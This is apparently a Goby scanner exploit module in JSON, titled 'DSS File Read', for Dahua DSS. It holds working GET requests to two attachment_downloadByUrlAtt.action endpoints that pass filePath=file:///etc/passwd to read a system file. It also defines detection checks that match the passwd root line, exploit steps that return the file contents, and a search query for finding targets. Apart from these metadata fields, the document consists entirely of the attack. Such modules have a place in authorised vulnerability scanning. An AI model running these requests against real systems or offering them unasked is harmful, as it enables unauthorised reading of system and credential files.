{
  "Name": "DSS File Read",
  "Description": "http://host/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd\\nhttp://host/itc/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd",
  "Product": "DSS",
  "Homepage": "https://www.dahuatech.com/",
  "DisclosureDate": "2021-05-25",
  "Author": "Goby牛逼",
  "GobyQuery": "title==\"DSS\"",
  "Level": "3",
  "Impact": "",
  "Recommendation": "",
  "References": null,
  "HasExp": true,
  "ExpParams": [
    {
      "name": "file",
      "type": "select",
      "value": "readfile"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "OR",
    {
      "Request": {
        "method": "GET",
        "uri": "/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "root:x:0:0:root:/root:/bin/bash",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/itc/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "root:x:0:0:root:/root:/bin/bash",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "OR",
    {
      "Request": {
        "method": "GET",
        "uri": "/itc/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "SetVariable": [
        "output|lastbody"
      ]
    },
    {
      "Request": {
        "method": "GET",
        "uri": "/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "SetVariable": [
        "output|lastbody"
      ]
    }
  ],
  "Tags": [],
  "CVEIDs": null,
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}